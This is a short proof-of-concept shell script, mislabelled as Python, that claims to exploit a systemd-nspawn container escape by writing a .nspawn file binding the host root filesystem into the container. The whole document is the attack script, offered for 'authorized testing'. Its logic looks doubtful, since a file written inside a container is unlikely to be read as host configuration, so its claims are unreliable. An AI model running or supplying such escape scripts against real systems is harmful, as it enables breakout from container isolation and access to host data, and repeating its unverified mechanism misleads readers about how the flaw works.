The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-40226: systemd-nspawn Container Escape
# This script demonstrates a crafted config file scenario.
# Requirement: High privileges (root) inside the container.
CONFIG_FILE="/etc/systemd/nspawn/container.nspawn"
# Create a malicious configuration file
# Exploiting the optional config file handling to bind mount host root
echo "[Files]" > $CONFIG_FILE
echo "Bind=/:/mnt/host" >> $CONFIG_FILE
echo "Malicious config created at $CONFIG_FILE"
echo "Exploit attempts to bind mount host root to /mnt/host"